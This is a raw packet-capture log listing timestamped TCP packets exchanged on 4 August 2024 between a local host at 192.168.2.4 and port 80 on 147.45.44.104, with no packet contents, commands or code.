Aug 4, 2024 02:21:36.494422913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494441032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.494452953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494482994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.494993925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495027065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495043993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495059013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495064974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495091915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495098114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495124102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495136976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495156050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495187044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495213032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495219946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495250940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495261908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495284081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495296955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495316029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495332956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495352983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495358944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495379925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495421886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495421886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495898008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495925903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495946884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495959997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.495969057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.495995045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496004105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496026039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496037006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496058941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496068001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496090889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496103048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496123075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496133089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496155024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496165991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496186972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496197939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496218920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496227980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496252060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496260881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496284008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496296883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496316910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496329069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496360064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496800900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496834040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496845007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496866941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496877909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496898890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496915102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496931076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496942043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496963024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.496972084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.496997118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497004986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497030020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497035980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497061968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497075081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497093916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497102976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497126102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497134924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497158051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497169971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497189999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497204065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497235060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497243881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497267008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497278929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497308016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497653008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497685909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497699976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497719049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497729063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497751951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497761011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497785091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497793913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497817993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497827053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497844934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497859955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497878075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.497886896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.497920036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586122990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586174965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586208105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586221933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586239100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586253881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586271048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586297035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586302996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586333990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586335897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586357117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586383104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586572886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586605072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586620092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586636066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586647034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586668015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586673975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586702108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586714983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586745024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586769104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586802006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586812973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586833954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586847067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586868048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586879969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586900949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586914062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586936951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.586945057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.586980104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587074995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587106943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587119102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587138891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587152004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587172031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587182045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587203979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587217093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587236881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587244987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587270021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587282896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587304115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587312937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587335110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587346077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587368011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587377071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587414026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587726116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587759018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587771893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587793112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587801933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587825060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587833881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587857962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587867975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587891102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587901115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587925911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.587934017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.587966919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588234901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588267088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588280916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588299036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588311911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588330984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588340044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588361979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588372946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588395119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588397980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588428020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588434935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588471889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588850021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588881969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588896036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588913918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588963032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.588964939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.588999033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589026928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589031935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589062929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589065075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589087009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589097023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589109898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589131117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589140892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589164019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589178085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589196920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589211941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589245081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589246988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589276075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589287043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589307070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589318037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589363098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589612007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589658976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589659929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589693069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589709044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589725018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589736938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589759111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589768887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589791059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589803934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589822054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589833975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589854956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589864016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589886904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589899063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589919090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589929104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589951038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589962006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.589983940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.589993954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590017080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590027094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590060949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590590000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590622902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590636015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590655088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590665102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590687990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590697050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590719938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590737104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590753078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590763092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590785980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590794086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590818882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590827942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590851068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590862036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590883017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590893030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590917110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590928078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590949059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590958118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.590981007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.590990067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591012955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591022968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591043949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591053963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591084957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591399908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591430902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591464043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591479063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591486931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591519117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591527939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591552019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591562033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591584921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591595888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591617107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591623068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591649055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591654062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591686964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591696024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591720104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591727972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591752052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591763020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591785908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591794968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591818094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.591826916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.591861963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592379093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592411995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592437029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592443943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592453003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592475891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592504025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592520952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592539072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592571020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592583895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592607975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.592614889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.592649937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629379988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629432917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629462957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629466057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629492998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629509926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629587889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629620075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629638910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629653931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629667997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629686117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.629703999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.629725933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.674362898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674392939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674443960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674477100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674510002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674542904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.674613953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674645901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674670935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.674679995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.674748898 CEST	49757	80	192.168.2.4	147.45.44.104
